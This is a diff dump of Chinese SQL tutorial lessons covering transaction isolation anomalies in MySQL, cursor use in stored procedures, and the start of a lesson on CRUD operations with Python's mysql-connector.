读已提交就是只能读到已经提交的内容,可以避免脏读的产生,属于RDBMS中常见的默认隔离级别(比如说Oracle和SQL Server),但如果想要避免不可重复读或者幻读,就需要我们在SQL查询的时候编写带加锁的SQL语句(我会在进阶篇里讲加锁)。
|
||||
|
||||
可重复读,保证一个事务在相同查询条件下两次查询得到的数据结果是一致的,可以避免不可重复读和脏读,但无法避免幻读。MySQL默认的隔离级别就是可重复读。
|
||||
|
||||
可串行化,将事务进行串行化,也就是在一个队列中按照顺序执行,可串行化是最高级别的隔离等级,可以解决事务读取中所有可能出现的异常情况,但是它牺牲了系统的并发性。
|
||||
|
||||
## 使用MySQL客户端来模拟三种异常
|
||||
|
||||
我在讲解这三种异常的时候举了一个英雄数据表查询的例子,你还可以自己写SQL来模拟一下这三种异常。
|
||||
|
||||
首先我们需要一个英雄数据表heros_temp,具体表结构和数据,你可以从[GitHub](https://github.com/cystanford/sql_heros_data)上下载heros_temp.sql文件。
|
||||
|
||||
你也可以执行下面的SQL文件,来完成heros_temp数据表的创建。
|
||||
|
||||
```
|
||||
-- ----------------------------
|
||||
-- Table structure for heros_temp
|
||||
-- ----------------------------
|
||||
DROP TABLE IF EXISTS `heros_temp`;
|
||||
CREATE TABLE `heros_temp` (
|
||||
`id` int(11) NOT NULL,
|
||||
`name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
|
||||
PRIMARY KEY (`id`) USING BTREE
|
||||
) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic;
|
||||
|
||||
-- ----------------------------
|
||||
-- Records of heros_temp
|
||||
-- ----------------------------
|
||||
INSERT INTO `heros_temp` VALUES (1, '张飞');
|
||||
INSERT INTO `heros_temp` VALUES (2, '关羽');
|
||||
INSERT INTO `heros_temp` VALUES (3, '刘备');
|
||||
|
||||
```
|
||||
|
||||
模拟的时候我们需要开两个MySQL客户端,分别是客户端1和客户端2。
|
||||
|
||||
在客户端1中,我们先来查看下当前会话的隔离级别,使用命令:
|
||||
|
||||
```
|
||||
mysql> SHOW VARIABLES LIKE 'transaction_isolation';
|
||||
|
||||
```
|
||||
|
||||
然后你能看到当前的隔离级别是REPEATABLE-READ,也就是可重复读。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/fa/5f/faaf3196f842d3331e40364fa331925f.png" alt="">
|
||||
|
||||
现在我们把隔离级别降到最低,设置为READ UNCOMMITTED(读未提交)。
|
||||
|
||||
```
|
||||
mysql> SET SESSION TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
|
||||
|
||||
```
|
||||
|
||||
然后再查看下当前会话(SESSION)下的隔离级别,结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/25/33/25bc5c5e570315b9c711156cf87f4233.png" alt="">
|
||||
|
||||
因为MySQL默认是事务自动提交,这里我们还需要将autocommit参数设置为0,命令如下:
|
||||
|
||||
```
|
||||
mysql> SET autocommit = 0;
|
||||
|
||||
```
|
||||
|
||||
然后我们再来查看SESSION中的autocommit取值,结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/8c/e3/8c584071af1c37cb2ea7835ea94489e3.png" alt=""><br>
|
||||
接着我们以同样的操作启动客户端2,也就是将隔离级别设置为READ UNCOMMITTED(读未提交),autocommit设置为0。
|
||||
|
||||
### 模拟“脏读”
|
||||
|
||||
我们在客户端2中开启一个事务,在heros_temp表中写入一个新的英雄“吕布”,注意这个时候不要提交。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/23/bb/2329718eb5e446a2e2e1e42420818abb.png" alt=""><br>
|
||||
然后我们在客户端1中,查看当前的英雄表:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a7/34/a74922819952a7afc93311c8e3f85834.png" alt="">
|
||||
|
||||
你能发现客户端1中读取了客户端2未提交的新英雄“吕布”,实际上客户端2可能马上回滚,从而造成了“脏读”。
|
||||
|
||||
### 模拟“不可重复读”
|
||||
|
||||
我们用客户端1来查看id=1的英雄:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/39/17/39d6f01fbf926a83e28950bee720c917.png" alt="">
|
||||
|
||||
然后用客户端2对id=1的英雄姓名进行修改:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/43/a6/43e24b5a2c9d861d4fde7ddc3195cda6.png" alt="">
|
||||
|
||||
这时用客户端1再次进行查询:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/38/dd/38a638e9dcca39bc1cfb68279acdcbdd.png" alt="">
|
||||
|
||||
你能发现对于客户端1来说,同一条查询语句出现了“不可重复读”。
|
||||
|
||||
### 模拟“幻读”
|
||||
|
||||
我们先用客户端1查询数据表中的所有英雄:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cd/32/cd47f77c15be231ea0b185c265d4cd32.png" alt="">
|
||||
|
||||
然后用客户端2,开始插入新的英雄“吕布”:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/13/1d/13ffd32b3654ff569e0eef6dbb2de51d.png" alt=""><br>
|
||||
这时,我们再用客户端1重新进行查看:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c3/3e/c3de2074d616530cafc6942e4a592b3e.png" alt=""><br>
|
||||
你会发现数据表多出一条数据。
|
||||
|
||||
如果你是初学者,那么你可以采用heros_temp数据表简单模拟一下以上的过程,加深对脏读、不可重复读以及幻读的理解。对应的,你也会更了解不同的隔离级别解决的异常问题。
|
||||
|
||||
## 总结
|
||||
|
||||
我们今天只是简单讲解了4种隔离级别,以及对应的要解决的三种异常问题。我会在优化篇这一模块里继续讲解隔离级别以及锁的使用。
|
||||
|
||||
你能看到,标准的价值在于,即使是不同的RDBMS都需要达成对异常问题和隔离级别定义的共识。这就意味着一个隔离级别的实现满足了下面的两个条件:
|
||||
|
||||
1. 正确性:只要能满足某一个隔离级别,一定能解决这个隔离级别对应的异常问题。
|
||||
1. 与实现无关:实际上RDBMS种类很多,这就意味着有多少种RDBMS,就有多少种锁的实现方式,因此它们实现隔离级别的原理可能不同,然而一个好的标准不应该限制其实现的方式。
|
||||
|
||||
隔离级别越低,意味着系统吞吐量(并发程度)越大,但同时也意味着出现异常问题的可能性会更大。在实际使用过程中我们往往需要在性能和正确性上进行权衡和取舍,没有完美的解决方案,只有适合与否。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/aa/fb/aa2ae6682a571676b686509623a2a7fb.jpg" alt=""><br>
|
||||
今天的内容到这里就结束了,你能思考一下为什么隔离级别越高,就越影响系统的并发性能吗?以及不可重复读和幻读的区别是什么?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事。
|
||||
277
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/16丨游标:当我们需要逐条处理数据时,该怎么做?.md
Normal file
277
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/16丨游标:当我们需要逐条处理数据时,该怎么做?.md
Normal file
@@ -0,0 +1,277 @@
|
||||
<audio id="audio" title="16丨游标:当我们需要逐条处理数据时,该怎么做?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/da/a7/da00a389262c0d9738859a04b53045a7.mp3"></audio>
|
||||
|
||||
我们在编写SQL语句的时候通常是面向集合进行思考,这种思考方式更让我们关注结果集的特征,而不是具体的实现过程。面向集合的思考方式与面向过程的思考方式各有特点,我们该如何理解它们呢?
|
||||
|
||||
我们用下面这张图开启今天的学习。这张图中一共有9个图形,每个图形有不同的特征,包括形状、纹理、颜色和个数等。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3d/8b/3daf9a9168ac825e9e7943843175bb8b.jpg" alt=""><br>
|
||||
当我们看到这张图时,有时候会不由自主地按照某个属性进行分类,比如说按照红色分类,那么1、4、9就是一类。这实际上就是属于同一个条件下的查询结果集。或者我们也可以按照物体的个数来划分,比如都有3个物体的,那么对应的就是2、5、6、8,这就是对应着“都包括3个物体”的查询结果集。
|
||||
|
||||
你能看出来集合思维更像是从整体的角度来考虑,然后把整个数据集按照不同的属性进行划分,形成不同的子集合。面向集合的思考方式,让我们关注“获取什么”,而不是“如何获取”,这也可以说是SQL与传统编程最大的区别之一,因为SQL本身是以关系模型和集合论为基础的。
|
||||
|
||||
然而也有一些情况,我们不需要对查询结果集中的所有数据行都采用相同的处理方式,需要每次处理一行或者一部分行,这时就需要面向过程的编程方法了。游标就是这种编程方式的体现。如果你之前已经有了一些面向过程的编程经验,那么对于游标的理解也会比较容易。
|
||||
|
||||
关于游标,你需要掌握以下几个方面的内容:
|
||||
|
||||
1. 什么是游标?我们为什么要使用游标?
|
||||
1. 如何使用游标?使用游标的常用步骤都包括哪些?
|
||||
1. 如何使用游标来解决一些常见的问题?
|
||||
|
||||
## 什么是游标?
|
||||
|
||||
在数据库中,游标是个重要的概念,它提供了一种灵活的操作方式,可以让我们从数据结果集中每次提取一条数据记录进行操作。游标让SQL这种面向集合的语言有了面向过程开发的能力。可以说,游标是面向过程的编程方式,这与面向集合的编程方式有所不同。
|
||||
|
||||
在SQL中,游标是一种临时的数据库对象,可以指向存储在数据库表中的数据行指针。这里游标充当了指针的作用,我们可以通过操作游标来对数据行进行操作。
|
||||
|
||||
比如我们查询了heros数据表中最大生命值大于8500的英雄都有哪些:
|
||||
|
||||
```
|
||||
SELECT id, name, hp_max FROM heros WHERE hp_max > 8500
|
||||
|
||||
```
|
||||
|
||||
查询结果(4条数据):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/04/c0/046f997b7d1b2ce6a64e65b728cca4c0.jpg" alt="">
|
||||
|
||||
这里我们就可以通过游标来操作数据行,如图所示此时游标所在的行是“白起”的记录,我们也可以在结果集上滚动游标,指向结果集中的任意一行。
|
||||
|
||||
## 如何使用游标?
|
||||
|
||||
游标实际上是一种控制数据集的更加灵活的处理方式。
|
||||
|
||||
如果我们想要使用游标,一般需要经历五个步骤。不同DBMS中,使用游标的语法可能略有不同。
|
||||
|
||||
第一步,定义游标。
|
||||
|
||||
```
|
||||
DECLARE cursor_name CURSOR FOR select_statement
|
||||
|
||||
```
|
||||
|
||||
这个语法适用于MySQL,SQL Server,DB2和MariaDB。如果是用Oracle或者PostgreSQL,需要写成:
|
||||
|
||||
```
|
||||
DECLARE cursor_name CURSOR IS select_statement
|
||||
|
||||
```
|
||||
|
||||
要使用SELECT语句来获取数据结果集,而此时还没有开始遍历数据,这里select_statement代表的是SELECT语句。
|
||||
|
||||
下面我用MySQL举例讲解游标的使用,如果你使用的是其他的RDBMS,具体的游标语法可能略有差异。我们定义一个能够存储heros数据表中的最大生命值的游标,可以写为:
|
||||
|
||||
```
|
||||
DECLARE cur_hero CURSOR FOR
|
||||
SELECT hp_max FROM heros;
|
||||
|
||||
```
|
||||
|
||||
第二步,打开游标。
|
||||
|
||||
```
|
||||
OPEN cursor_name
|
||||
|
||||
```
|
||||
|
||||
当我们定义好游标之后,如果想要使用游标,必须先打开游标。打开游标的时候SELECT语句的查询结果集就会送到游标工作区。
|
||||
|
||||
第三步,从游标中取得数据。
|
||||
|
||||
```
|
||||
FETCH cursor_name INTO var_name ...
|
||||
|
||||
```
|
||||
|
||||
这句的作用是使用cursor_name这个游标来读取当前行,并且将数据保存到var_name这个变量中,游标指针指到下一行。如果游标读取的数据行有多个列名,则在INTO关键字后面赋值给多个变量名即可。
|
||||
|
||||
第四步,关闭游标。
|
||||
|
||||
```
|
||||
CLOSE cursor_name
|
||||
|
||||
```
|
||||
|
||||
有OPEN就会有CLOSE,也就是打开和关闭游标。当我们使用完游标后需要关闭掉该游标。关闭游标之后,我们就不能再检索查询结果中的数据行,如果需要检索只能再次打开游标。
|
||||
|
||||
最后一步,释放游标。
|
||||
|
||||
```
|
||||
DEALLOCATE cursor_namec
|
||||
|
||||
```
|
||||
|
||||
有DECLARE就需要有DEALLOCATE,DEALLOCATE的作用是释放游标。我们一定要养成释放游标的习惯,否则游标会一直存在于内存中,直到进程结束后才会自动释放。当你不需要使用游标的时候,释放游标可以减少资源浪费。
|
||||
|
||||
上面就是5个常用的游标步骤。我来举一个简单的例子,假设我想用游标来扫描heros数据表中的数据行,然后累计最大生命值,那么该怎么做呢?
|
||||
|
||||
我先创建一个存储过程calc_hp_max,然后在存储过程中定义游标cur_hero,使用FETCH获取每一行的具体数值,然后赋值给变量hp,再用变量hp_sum做累加求和,最后再输出hp_sum,代码如下:
|
||||
|
||||
```
|
||||
CREATE PROCEDURE `calc_hp_max`()
|
||||
BEGIN
|
||||
-- 创建接收游标的变量
|
||||
DECLARE hp INT;
|
||||
-- 创建总数变量
|
||||
DECLARE hp_sum INT DEFAULT 0;
|
||||
-- 创建结束标志变量
|
||||
DECLARE done INT DEFAULT false;
|
||||
-- 定义游标
|
||||
DECLARE cur_hero CURSOR FOR SELECT hp_max FROM heros;
|
||||
|
||||
OPEN cur_hero;
|
||||
read_loop:LOOP
|
||||
FETCH cur_hero INTO hp;
|
||||
SET hp_sum = hp_sum + hp;
|
||||
END LOOP;
|
||||
CLOSE cur_hero;
|
||||
SELECT hp_sum;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
你会发现执行`call calc_hp_max()`这一句的时候系统会提示1329错误,也就是在LOOP中当游标没有取到数据时会报的错误。
|
||||
|
||||
当游标溢出时(也就是当游标指向到最后一行数据后继续执行会报的错误),我们可以定义一个continue的事件,指定这个事件发生时修改变量done的值,以此来判断游标是否已经溢出,即:
|
||||
|
||||
```
|
||||
DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = true;
|
||||
|
||||
```
|
||||
|
||||
同时在循环中我们需要加上对done的判断,如果游标的循环已经结束,就需要跳出read_loop循环,完善的代码如下:
|
||||
|
||||
```
|
||||
CREATE PROCEDURE `calc_hp_max`()
|
||||
BEGIN
|
||||
-- 创建接收游标的变量
|
||||
DECLARE hp INT;
|
||||
|
||||
-- 创建总数变量
|
||||
DECLARE hp_sum INT DEFAULT 0;
|
||||
-- 创建结束标志变量
|
||||
DECLARE done INT DEFAULT false;
|
||||
-- 定义游标
|
||||
DECLARE cur_hero CURSOR FOR SELECT hp_max FROM heros;
|
||||
-- 指定游标循环结束时的返回值
|
||||
DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = true;
|
||||
|
||||
OPEN cur_hero;
|
||||
read_loop:LOOP
|
||||
FETCH cur_hero INTO hp;
|
||||
-- 判断游标的循环是否结束
|
||||
IF done THEN
|
||||
LEAVE read_loop;
|
||||
END IF;
|
||||
|
||||
SET hp_sum = hp_sum + hp;
|
||||
END LOOP;
|
||||
CLOSE cur_hero;
|
||||
SELECT hp_sum;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
运行结果(1行数据):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/25/74/250fa19076fb9e55f801847815eb8674.png" alt="">
|
||||
|
||||
在游标中的循环中,除了使用LOOP循环以外,你还可以使用REPEAT… UNTIL…以及WHILE循环。它们同样需要设置CONTINUE事件来处理游标溢出的情况。
|
||||
|
||||
所以你能看出,使用游标可以让我们对SELECT结果集中的每一行数据进行相同或者不同的操作,从而很精细化地管理结果集中的每一条数据。
|
||||
|
||||
**使用游标来解决一些常见的问题**
|
||||
|
||||
我刚才讲了一个简单的使用案例,实际上如果想要统计hp_sum,完全可以通过SQL语句来完成,比如:
|
||||
|
||||
```
|
||||
SELECT SUM(hp_max) FROM heros
|
||||
|
||||
```
|
||||
|
||||
运行结果(1行数据):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3b/9f/3b26582a9d86399c7b8c240e82369f9f.png" alt=""><br>
|
||||
那么游标都有什么用呢?
|
||||
|
||||
当你需要处理一些复杂的数据行计算的时候,游标就会起到作用了。我举个例子,还是针对heros数据表,假设我们想要对英雄的物攻成长(对应attack_growth)进行升级,在新版本中大范围提升英雄的物攻成长数值,但是针对不同的英雄情况,提升的幅度也不同,具体提升的方式如下。
|
||||
|
||||
如果这个英雄原有的物攻成长小于5,那么将在原有基础上提升7%-10%。如果物攻成长的提升空间(即最高物攻attack_max-初始物攻attack_start)大于200,那么在原有的基础上提升10%;如果物攻成长的提升空间在150到200之间,则提升8%;如果物攻成长的提升空间不足150,则提升7%。
|
||||
|
||||
如果原有英雄的物攻成长在5—10之间,那么将在原有基础上提升5%。
|
||||
|
||||
如果原有英雄的物攻成长大于10,则保持不变。
|
||||
|
||||
以上所有的更新后的物攻成长数值,都需要保留小数点后3位。
|
||||
|
||||
你能看到上面这个计算的情况相对复杂,实际工作中你可能会遇到比这个更加复杂的情况,这时你可以采用面向过程的思考方式来完成这种任务,也就是说先取出每行的数值,然后针对数值的不同情况采取不同的计算方式。
|
||||
|
||||
针对上面这个情况,你自己可以用游标来完成转换,具体的代码如下:
|
||||
|
||||
```
|
||||
CREATE PROCEDURE `alter_attack_growth`()
|
||||
BEGIN
|
||||
-- 创建接收游标的变量
|
||||
DECLARE temp_id INT;
|
||||
DECLARE temp_growth, temp_max, temp_start, temp_diff FLOAT;
|
||||
|
||||
-- 创建结束标志变量
|
||||
DECLARE done INT DEFAULT false;
|
||||
-- 定义游标
|
||||
DECLARE cur_hero CURSOR FOR SELECT id, attack_growth, attack_max, attack_start FROM heros;
|
||||
-- 指定游标循环结束时的返回值
|
||||
DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = true;
|
||||
|
||||
OPEN cur_hero;
|
||||
FETCH cur_hero INTO temp_id, temp_growth, temp_max, temp_start;
|
||||
REPEAT
|
||||
IF NOT done THEN
|
||||
SET temp_diff = temp_max - temp_start;
|
||||
IF temp_growth < 5 THEN
|
||||
IF temp_diff > 200 THEN
|
||||
SET temp_growth = temp_growth * 1.1;
|
||||
ELSEIF temp_diff >= 150 AND temp_diff <=200 THEN
|
||||
SET temp_growth = temp_growth * 1.08;
|
||||
ELSEIF temp_diff < 150 THEN
|
||||
SET temp_growth = temp_growth * 1.07;
|
||||
END IF;
|
||||
ELSEIF temp_growth >=5 AND temp_growth <=10 THEN
|
||||
SET temp_growth = temp_growth * 1.05;
|
||||
END IF;
|
||||
UPDATE heros SET attack_growth = ROUND(temp_growth,3) WHERE id = temp_id;
|
||||
END IF;
|
||||
FETCH cur_hero INTO temp_id, temp_growth, temp_max, temp_start;
|
||||
UNTIL done = true END REPEAT;
|
||||
|
||||
CLOSE cur_hero;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
这里我创建了alter_attack_growth这个存储过程,使用了REPEAT…UNTIL…的循环方式,针对不同的情况计算了新的物攻成长temp_growth,然后对原有的attack_growth进行了更新,最后调用call alter_attack_growth();执行存储过程。
|
||||
|
||||
有一点需要注意的是,我们在对数据表进行更新前,需要备份之前的表,我们可以将备份后的表命名为heros_copy1。更新完heros数据表之后,你可以看下两张表在attack_growth字段上的对比,我们使用SQL进行查询:
|
||||
|
||||
```
|
||||
SELECT heros.id, heros.attack_growth, heros_copy1.attack_growth FROM heros JOIN heros_copy1 WHERE heros.id = heros_copy1.id
|
||||
|
||||
```
|
||||
|
||||
运行结果(69条记录):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/62/c9/622c50afb8ff6be7d9682fe3537dedc9.png" alt=""><br>
|
||||
通过前后两张表的attack_growth对比你也能看出来,存储过程通过游标对不同的数据行进行了更新。
|
||||
|
||||
需要说明的是,以上代码适用于MySQL,如果在SQL Server或Oracle中,使用方式会有些差别。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们讲解了如何在SQL中使用游标,游标实际上是面向过程的思维方式,与面向集合的思维方式不同的地方在于,游标更加关注“如何执行”。我们可以通过游标更加精细、灵活地查询和管理想要的数据行。
|
||||
|
||||
有的时候,我们需要找特定数据,用SQL查询写起来会比较困难,比如两表或多表之间的嵌套循环查找,如果用JOIN会非常消耗资源,效率也可能不高,而用游标则会比较高效。
|
||||
|
||||
虽然在处理某些复杂的数据情况下,使用游标可以更灵活,但同时也会带来一些性能问题,比如在使用游标的过程中,会对数据行进行加锁,这样在业务并发量大的时候,不仅会影响业务之间的效率,还会消耗系统资源,造成内存不足,这是因为游标是在内存中进行的处理。如果有游标的替代方案,我们可以采用替代方案。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/dc/11/dca1fadf6625b9699c25104e74fb8d11.jpg" alt=""><br>
|
||||
我们今天讲解了游标,你能用自己的语言介绍下游标的作用吗?另外,我们之前提到过,SQL本身是一门结构化查询语言,但我们也可以在SQL的基础上进行面向过程的开发,完成较为复杂的功能,你能说一下面向过程和面向集合这两种编程方式的区别吗?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
216
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/17丨如何使用Python操作MySQL?.md
Normal file
216
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/17丨如何使用Python操作MySQL?.md
Normal file
@@ -0,0 +1,216 @@
|
||||
<audio id="audio" title="17丨如何使用Python操作MySQL?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/c1/93/c1ccf5a94d7e547e397069fb5c7f5293.mp3"></audio>
|
||||
|
||||
我们之前都是直接在DBMS里面进行SQL的操作,实际上我们还可以通过后端语言对DBMS进行访问以及进行相应的操作,这样更具有灵活性,可以实现一些较为复杂的操作。作为一个后端开发人员,掌握一些SQL技术是必须的;作为一个数据库管理人员,了解后端语言如何开发和管理数据库也是很有必要的。
|
||||
|
||||
今天我以Python为例,讲解下如何对MySQL数据库进行操作。你需要掌握以下几个方面的内容:
|
||||
|
||||
1. Python的DB API规范是什么,遵守这个规范有什么用?
|
||||
1. 基于DB API,MySQL官方提供了驱动器mysql-connector,如何使用它来完成对数据库管理系统的操作?
|
||||
1. CRUD是最常见的数据库的操作,分别对应数据的增加、读取、修改和删除。在掌握了mysql-connector的使用方法之后,如何完成对数据表的CRUD操作?
|
||||
|
||||
## Python DB API规范
|
||||
|
||||
Python可以支持非常多的数据库管理系统,比如MySQL、Oracle、SQL Server和PostgreSQL等。为了实现对这些DBMS的统一访问,Python需要遵守一个规范,这就是DB API规范。我在下图中列出了DB API规范的作用,这个规范给我们提供了数据库对象连接、对象交互和异常处理的方式,为各种DBMS提供了统一的访问接口。这样做的好处就是如果项目需要切换数据库,Python层的代码移植会比较简单。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/5d/7f/5d8113fc1637d1fe951e985b22e0287f.png" alt=""><br>
|
||||
我们在使用Python对DBMS进行操作的时候,需要经过下面的几个步骤:
|
||||
|
||||
1. 引入API模块;
|
||||
1. 与数据库建立连接;
|
||||
1. 执行SQL语句;
|
||||
1. 关闭数据库连接。
|
||||
|
||||
## 如何使用mysql-connector
|
||||
|
||||
使用Python对数据库进行访问需要基于DB API规范,这里有不少库供我们选择,比如MySQLdb、mysqlclient、PyMySQL、peewee和SQLAIchemy等。今天我讲解的是mysql-connector,它是MySQL 官方提供的驱动器,用来给后端语言,比如Python提供连接。
|
||||
|
||||
下面我们看下如何用Python使用mysql-connector,以完成数据库的连接和使用。
|
||||
|
||||
首先安装mysql-connector。在使用前,你需要先使用下面这句命令进行安装:
|
||||
|
||||
```
|
||||
pip install mysql-connector
|
||||
|
||||
```
|
||||
|
||||
在安装之后,你可以创建数据库连接,然后查看下数据库的版本号,来验证下数据库是否连接成功。代码如下:
|
||||
|
||||
```
|
||||
# -*- coding: UTF-8 -*-
|
||||
import mysql.connector
|
||||
# 打开数据库连接
|
||||
db = mysql.connector.connect(
|
||||
host="localhost",
|
||||
user="root",
|
||||
passwd="XXX", # 写上你的数据库密码
|
||||
database='wucai',
|
||||
auth_plugin='mysql_native_password'
|
||||
)
|
||||
# 获取操作游标
|
||||
cursor = db.cursor()
|
||||
# 执行SQL语句
|
||||
cursor.execute("SELECT VERSION()")
|
||||
# 获取一条数据
|
||||
data = cursor.fetchone()
|
||||
print("MySQL版本: %s " % data)
|
||||
# 关闭游标&数据库连接
|
||||
cursor.close()
|
||||
db.close()
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
MySQL版本: 8.0.13
|
||||
|
||||
```
|
||||
|
||||
上面这段代码中有两个重要的对象你需要了解下,分别是Connection和Cursor。
|
||||
|
||||
Connection就是对数据库的当前连接进行管理,我们可以通过它来进行以下操作:
|
||||
|
||||
1. 通过指定host、user、passwd和port等参数来创建数据库连接,这些参数分别对应着数据库IP地址、用户名、密码和端口号;
|
||||
1. 使用db.close()关闭数据库连接;
|
||||
1. 使用db.cursor()创建游标,操作数据库中的数据;
|
||||
1. 使用db.begin()开启事务;
|
||||
1. 使用db.commit()和db.rollback(),对事务进行提交以及回滚。
|
||||
|
||||
当我们通过`cursor = db.cursor()`创建游标后,就可以通过面向过程的编程方式对数据库中的数据进行操作:
|
||||
|
||||
1. 使用`cursor.execute(query_sql)`,执行数据库查询;
|
||||
1. 使用`cursor.fetchone()`,读取数据集中的一条数据;
|
||||
1. 使用`cursor.fetchall()`,取出数据集中的所有行,返回一个元组tuples类型;
|
||||
1. 使用`cursor.fetchmany(n)`,取出数据集中的多条数据,同样返回一个元组tuples;
|
||||
1. 使用`cursor.rowcount`,返回查询结果集中的行数。如果没有查询到数据或者还没有查询,则结果为-1,否则会返回查询得到的数据行数;
|
||||
1. 使用`cursor.close()`,关闭游标。
|
||||
|
||||
## 对数据表进行增删改查
|
||||
|
||||
了解了Connection和Cursor的使用方式之后,我们来看下如何来对heros数据表进行CRUD的操作,即增加、读取、更新和删除。
|
||||
|
||||
首先是增加数据。
|
||||
|
||||
假设我们想在player表中增加一名新球员,姓名为“约翰·科林斯”,球队ID为1003(即亚特兰大老鹰),身高为2.08m。代码如下:
|
||||
|
||||
```
|
||||
# 插入新球员
|
||||
sql = "INSERT INTO player (team_id, player_name, height) VALUES (%s, %s, %s)"
|
||||
val = (1003, "约翰-科林斯", 2.08)
|
||||
cursor.execute(sql, val)
|
||||
db.commit()
|
||||
print(cursor.rowcount, "记录插入成功。")
|
||||
|
||||
```
|
||||
|
||||
我们使用cursor.execute来执行相应的SQL语句,val为SQL语句中的参数,SQL执行后使用db.commit()进行提交。需要说明的是,我们在使用SQL语句的时候,可以向SQL语句传递参数,这时SQL语句里要统一用(%s)进行占位,否则就会报错。不论插入的数值为整数类型,还是浮点类型,都需要统一用(%s)进行占位。
|
||||
|
||||
另外在用游标进行SQL操作之后,还需要使用db.commit()进行提交,否则数据不会被插入。
|
||||
|
||||
然后是读取数据。我们来看下数据是否被插入成功,这里我们查询下身高大于等于2.08m的球员都有哪些,代码如下:
|
||||
|
||||
```
|
||||
# 查询身高大于等于2.08的球员
|
||||
sql = 'SELECT player_id, player_name, height FROM player WHERE height>=2.08'
|
||||
cursor.execute(sql)
|
||||
data = cursor.fetchall()
|
||||
for each_player in data:
|
||||
print(each_player)
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
(10003, '安德烈-德拉蒙德', 2.11)
|
||||
(10004, '索恩-马克', 2.16)
|
||||
(10009, '扎扎-帕楚里亚', 2.11)
|
||||
(10010, '乔恩-洛伊尔', 2.08)
|
||||
(10011, '布雷克-格里芬', 2.08)
|
||||
(10015, '亨利-埃伦森', 2.11)
|
||||
(10023, '多曼塔斯-萨博尼斯', 2.11)
|
||||
(10024, '迈尔斯-特纳', 2.11)
|
||||
(10032, 'TJ-利夫', 2.08)
|
||||
(10033, '凯尔-奥奎因', 2.08)
|
||||
(10037, '伊凯·阿尼博古', 2.08)
|
||||
(10038, '约翰-科林斯', 2.08)
|
||||
|
||||
```
|
||||
|
||||
你能看到球员约翰·科林斯被正确插入。
|
||||
|
||||
那么如何修改数据呢?
|
||||
|
||||
假如我想修改刚才插入的球员约翰·科林斯的身高,将身高修改成2.09,代码如下:
|
||||
|
||||
```
|
||||
# 修改球员约翰-科林斯
|
||||
sql = 'UPDATE player SET height = %s WHERE player_name = %s'
|
||||
val = (2.09, "约翰-科林斯")
|
||||
cursor.execute(sql, val)
|
||||
db.commit()
|
||||
print(cursor.rowcount, "记录被修改。")
|
||||
|
||||
```
|
||||
|
||||
最后我们看下如何删除约翰·科林斯这个球员的数据,代码如下:
|
||||
|
||||
```
|
||||
sql = 'DELETE FROM player WHERE player_name = %s'
|
||||
val = ("约翰-科林斯",)
|
||||
cursor.execute(sql, val)
|
||||
db.commit()
|
||||
print(cursor.rowcount, "记录删除成功。")
|
||||
|
||||
```
|
||||
|
||||
最后都执行完了,我们来关闭游标和数据库的连接,使用以下代码即可:
|
||||
|
||||
```
|
||||
cursor.close()
|
||||
db.close()
|
||||
|
||||
```
|
||||
|
||||
针对上面的操作过程,你可以模拟下数据的CRUD操作,但有几点你需要注意。
|
||||
|
||||
1.打开数据库连接以后,如果不再使用,则需要关闭数据库连接,以免造成资源浪费。<br>
|
||||
2.在对数据进行增加、删除和修改的时候,可能会出现异常,这时就需要用`try...except`捕获异常信息。比如针对插入球员约翰·科林斯这个操作,你可以写成下面这样:
|
||||
|
||||
```
|
||||
import traceback
|
||||
try:
|
||||
sql = "INSERT INTO player (team_id, player_name, height) VALUES (%s, %s, %s)"
|
||||
val = (1003, "约翰-科林斯", 2.08)
|
||||
cursor.execute(sql, val)
|
||||
db.commit()
|
||||
print(cursor.rowcount, "记录插入成功。")
|
||||
except Exception as e:
|
||||
# 打印异常信息
|
||||
traceback.print_exc()
|
||||
# 回滚
|
||||
db.rollback()
|
||||
finally:
|
||||
# 关闭数据库连接
|
||||
db.close()
|
||||
|
||||
```
|
||||
|
||||
运行结果告诉我们记录插入成功。
|
||||
|
||||
